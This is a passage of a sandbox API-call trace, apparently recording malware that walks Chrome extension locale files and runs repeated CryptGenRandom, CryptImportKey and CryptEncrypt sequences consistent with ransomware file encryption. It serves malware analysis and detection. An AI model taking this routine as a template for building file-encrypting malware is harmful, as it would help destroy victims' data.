returned 0x0 [0237.852] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.852] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.852] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.857] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.857] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.857] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.861] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.861] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.861] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.861] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.864] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1cb8) returned 1 [0237.864] CryptGetKeyParam (in: hKey=0x66b1cb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.864] CryptEncrypt (in: hKey=0x66b1cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9780000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9780000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.864] GetLastError () returned 0x0 [0237.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.864] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.866] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2038) returned 1 [0237.866] CryptGetKeyParam (in: hKey=0x66b2038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.866] CryptEncrypt (in: hKey=0x66b2038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9790000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9790000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.866] GetLastError () returned 0x0 [0237.867] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.867] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.868] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.871] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.872] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.872] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.873] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.875] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.877] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.877] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.877] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.877] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.880] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1e78) returned 1 [0237.880] CryptGetKeyParam (in: hKey=0x66b1e78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.880] CryptEncrypt (in: hKey=0x66b1e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x97a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x97a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.880] GetLastError () returned 0x0 [0237.880] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.880] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.883] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1df8) returned 1 [0237.883] CryptGetKeyParam (in: hKey=0x66b1df8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.883] CryptEncrypt (in: hKey=0x66b1df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x97b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x97b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.883] GetLastError () returned 0x0 [0237.883] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.883] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.884] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.890] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.890] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.890] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.890] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.896] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.898] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.898] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.899] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.902] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1db8) returned 1 [0237.902] CryptGetKeyParam (in: hKey=0x66b1db8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.902] CryptEncrypt (in: hKey=0x66b1db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x97c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x97c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.903] GetLastError () returned 0x0 [0237.903] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.903] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.905] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b18f8) returned 1 [0237.905] CryptGetKeyParam (in: hKey=0x66b18f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.905] CryptEncrypt (in: hKey=0x66b18f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x97d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x97d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.906] GetLastError () returned 0x0 [0237.906] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.906] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.907] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.913] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.913] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.913] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.920] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.920] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.921] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.926] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1938) returned 1 [0237.926] CryptGetKeyParam (in: hKey=0x66b1938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.926] CryptEncrypt (in: hKey=0x66b1938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x97e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x97e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.926] GetLastError () returned 0x0 [0237.926] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.926] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.929] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1ab8) returned 1 [0237.929] CryptGetKeyParam (in: hKey=0x66b1ab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.929] CryptEncrypt (in: hKey=0x66b1ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x97f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x97f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.930] GetLastError () returned 0x0 [0237.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.931] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.937] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.937] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.937] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.943] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.944] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.944] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.945] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.948] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1c38) returned 1 [0237.948] CryptGetKeyParam (in: hKey=0x66b1c38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.948] CryptEncrypt (in: hKey=0x66b1c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9800000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9800000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.948] GetLastError () returned 0x0 [0237.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.948] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.951] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b19b8) returned 1 [0237.951] CryptGetKeyParam (in: hKey=0x66b19b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.951] CryptEncrypt (in: hKey=0x66b19b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9810000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9810000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.951] GetLastError () returned 0x0 [0237.951] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.952] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.958] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.958] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.958] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.962] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.962] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.962] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.963] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.966] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b18b8) returned 1 [0237.966] CryptGetKeyParam (in: hKey=0x66b18b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.966] CryptEncrypt (in: hKey=0x66b18b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9820000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9820000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.966] GetLastError () returned 0x0 [0237.966] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.966] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.969] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1e38) returned 1 [0237.969] CryptGetKeyParam (in: hKey=0x66b1e38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.969] CryptEncrypt (in: hKey=0x66b1e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9830000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9830000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.969] GetLastError () returned 0x0 [0237.969] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.969] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.971] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0237.974] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.978] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0237.978] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.978] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0237.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.983] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.983] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0237.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.984] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0237.987] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b1f78) returned 1 [0237.987] CryptGetKeyParam (in: hKey=0x66b1f78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0237.987] CryptEncrypt (in: hKey=0x66b1f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9840000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x9840000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0237.987] GetLastError () returned 0x0 [0237.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.987] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0237.993] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b1a38) returned 1 [0237.993] CryptGetKeyParam (in: hKey=0x66b1a38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0237.993] CryptEncrypt (in: hKey=0x66b1a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9850000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x9850000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0237.993] GetLastError () returned 0x0 [0237.993] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.993] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), 